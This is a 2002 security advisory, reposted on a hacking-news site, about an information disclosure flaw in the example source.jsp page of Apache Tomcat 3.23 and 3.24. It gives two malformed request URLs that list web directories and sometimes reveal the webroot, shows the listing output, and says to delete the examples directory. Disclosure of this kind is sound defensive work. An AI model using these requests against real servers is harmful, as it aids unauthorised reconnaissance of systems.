Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » Vulnerability in Apache Tomcat v3.23 & v3.24

Vulnerability in Apache Tomcat v3.23 & v3.24

by Nikola Strahija on May 29th, 2002 Remote attackers can obtain listings of web directories and sometines the location of webroot.



Authors: Richard Brain [[email protected]]
Vendor Status:
CVE Candidate: Not assigned
Reference: www.procheckup.com/security_info/vuln.html


Intro:
Tomcat is the free opensource Java server, http://jakarta.apache.org/tomcat/.

Normally source.jsp is used to look at the source code of programs within the examples directories. A typical request is
http://webserver:80/examples/jsp/source.jsp?/jsp/num/numguess.jsp

We have found by using source.jsp with a malformed input a directory listing is displayed and the location of the webroot is sometimes disclosed.

The vulnerabilities may only work on port 8080 rather than port 80, dependant on how the webserver has been configured with Tomcat.


Exploits
A) Requesting the following url :-

http://webserver:80/examples/jsp/source.jsp??

Gives the directory listing and webroot on 3.23, 3.24 just gives a directory listing.

Directory Listing
/"WEBROOT"/webapps/examples

<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="images">images</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="jsp">jsp</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="META-INF">META-INF</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="servlets">servlets</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="WEB-INF">WEB-INF</a>


B) Requesting the following url :-

http://webserver:80/examples/jsp/source.jsp?/jsp/

Gives the directory listing and webroot on 3.23, 3.24 just gives a directory listing on a subdirectory.


Directory Listing

/"WEBROOT"/webapps/examples/jsp

<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="cal">cal</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="checkbox">checkbox</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="colors">colors</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="dates">dates</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="error">error</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="forward">forward</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="include">include</a>
<img align=middle src="doc:/lib/images/ftp/file.gif" width=32 height=32><a href="index.html">index.html</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="jsptoserv">jsptoserv</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="num">num</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="plugin">plugin</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="security">security</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="sessions">sessions</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="simpletag">simpletag</a>
<img align=middle src="doc:/lib/images/ftp/directory.gif" width=32 height=32><a href="snp">snp</a>
<img align=middle src="doc:/lib/images/ftp/file.gif" width=32 height=32><a href="source.jsp">source.jsp</a>

Solution:
Delete the samples directory if not needed.

Legal:

Copyright 2002 Procheckup Ltd. All rights reserved.


Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.


Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »